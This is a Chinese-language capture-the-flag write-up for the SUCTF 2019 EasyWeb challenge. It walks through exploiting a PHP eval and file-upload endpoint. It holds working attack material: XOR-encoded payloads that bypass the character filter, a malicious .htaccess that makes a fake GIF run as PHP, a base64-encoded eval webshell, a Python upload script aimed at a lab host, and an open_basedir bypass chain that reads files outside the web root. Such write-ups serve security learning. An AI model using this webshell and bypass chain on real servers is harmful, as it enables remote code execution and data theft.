[SUCTF 2019]EasyWeb
打开网页,发现源码:
<?php
function get_the_flag(){
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
查阅PHP手册:
count_chars (PHP 4, PHP 5, PHP 7, PHP 8) count_chars — 返回字符串所用字符的信息
exif_imagetype (PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8) exif_imagetype — 判断一个图像的类型
可以看到eval($hhh); 命令执行,但之前做了很多过滤,首先是字母数字被全部过滤,可以采用异或、取反、自增绕过。这个只能是异或绕过,因为有strlen($hhh)>18 的长度限制,所以取反,自增都不能使用。
References
一些不包含数字和字母的webshell
异或脚本:
<?php
$string = "_GET";
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<149;$i++)
for($j=27;$j<149;$j++)
if(ord($string[$k]) == ($a[$i] ^ $a[$j])){
echo $string[$k]." %".dechex($a[$i]).'^%'.dechex($a[$j])."\n";
if(++$k == strlen($string))
return 0;
}
?>
运行结果为:
_ %86^%d9
G %87^%c0
E %87^%c2
T %87^%d3
或者另外一个脚本:
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>
方法一
输入url:
?_=${%86%87%87%87^%d9%c0%c2%d3}{%86}();&%86=phpinfo
${%86%87%87%87^%d9%c0%c2%d3}{%86}(); 的长度刚好等于18。在phpinfo 页面搜索flag 直接得到flag。
方法二
上传文件,但过滤了:
- 有
ph 的后缀文件,例如phtml ,php 等 <? ,php 版本7.2 ,所以<script language="php"></script> 无法使用- 所有非图像文件
解决方法是将一句话木马进行base64 编码,然后在.htaccess 中利用php 伪协议进行解码,但exif_imagetype 要求上传文件只能是图像,所以采用GIF89a 文件头进行绕过,在.htaccess 文件中直接用GIF89a 无效,所以用
#define width 1337
#define height 1337
进行绕过,# 在.htaccess 中表示注释。
.htaccess 文件内容如下:
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
将后缀名为.ahhh 的文件解析为php 。
.htaccess 另外一个写法 可以在.htaccess 加入php解析规则,把文件名包含1的解析成php <FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch> 或者SetHandler application/x-httpd-php ,例如文件1.png , 就会以php执行。
一句话木马:
<?php eval($_REQUEST['cmd']);?>
经过base64 加密为:
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
因此需要上传的文件shell.ahhh 内容为:
GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
GIF89a 后面补上12 是为了补足8个字节,满足base64 编码的规则。
References
https://blog.csdn.net/x_iya/article/details/78498519
上传文件的python脚本:
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://41229016-f96d-4c68-84bf-8d203fb71a6e.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
References
BUU WEB [SUCTF 2019]EasyWeb_A_dmin的博客-CSDN博客
运行结果为:
upload/tmp_8194b36e87d6be021b6942e4250ee8d7/.htaccess
upload/tmp_8194b36e87d6be021b6942e4250ee8d7/shell.ahhh
在网页的phpinfo 里面我们发现设置了open_basedir 参数。open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen() 或file_get_contents() 打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。本指令不受安全模式打开或关闭的影响。
References
open_basedir限制目录
因为我们的文件路径为:
/var/www/html/upload/tmp_8194b36e87d6be021b6942e4250ee8d7/.htaccess
从.htaccess 到根目录需要五次.. 。绕过open_basedir一共六步:
- You are open_basedir’ed to /var/www/html
- Change into a sub-directory.
- ini_set(‘open_basedir’, ‘…’)
- chdir(’…’);chdir(’…’);chdir(’…’);…
- ini_set(‘open_basedir’,’/’)
- open_basedir is now set to /, enjoy
References
绕过open_basedir 函数的具体步骤原始推文链接:
https://twitter.com/eboda_/status/1113839230608797696?s=20
所以访问根目录的payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
References
https://xz.aliyun.com/t/4720
从PHP底层看open_basedir bypass
输入url:
/upload/tmp_8194b36e87d6be021b6942e4250ee8d7/shell.ahhh?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
发现flag文件:THis_Is_tHe_F14g ,输入url:
/upload/tmp_8194b36e87d6be021b6942e4250ee8d7/shell.ahhh?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
得到flag。
References
https://blog.csdn.net/qq_42967398/article/details/105615235
https://blog.csdn.net/weixin_44077544/article/details/102858790
https://blog.csdn.net/qq_42181428/article/details/99741920
https://www.cnblogs.com/wangtanzhi/p/12250386.html
|